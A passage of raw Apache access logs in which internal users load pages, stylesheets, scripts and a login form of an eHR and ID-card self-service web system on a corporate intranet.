10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [01/Dec/2025:11:03:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [01/Dec/2025:11:03:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.139.16 - - [01/Dec/2025:11:27:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:11:27:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:11:27:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:11:27:32 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [01/Dec/2025:11:27:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:11:27:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.146 - - [01/Dec/2025:11:29:32 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:32 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 302 121 192.168.11.146 - - [01/Dec/2025:11:29:33 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:33 +0800] "GET /idcard/ess/index.php?action=logout HTTP/1.1" 200 11477 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/blueprint/screen.css HTTP/1.1" 200 11552 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/blueprint/ie.css HTTP/1.1" 200 851 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/default.css HTTP/1.1" 200 7957 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/logo.gif HTTP/1.1" 200 3837 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/flash_detect_min.js HTTP/1.1" 200 2477 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/login.swf HTTP/1.1" 200 2760 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:34 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.146 - - [01/Dec/2025:11:29:35 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:35 +0800] "GET /idcard/img/ares.ico HTTP/1.1" 200 1406 192.168.11.146 - - [01/Dec/2025:11:29:40 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:40 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 192.168.11.146 - - [01/Dec/2025:11:29:43 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:43 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.146 - - [01/Dec/2025:11:29:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.146 - - [01/Dec/2025:11:29:44 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:44 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:44 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [01/Dec/2025:11:29:50 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [01/Dec/2025:11:29:50 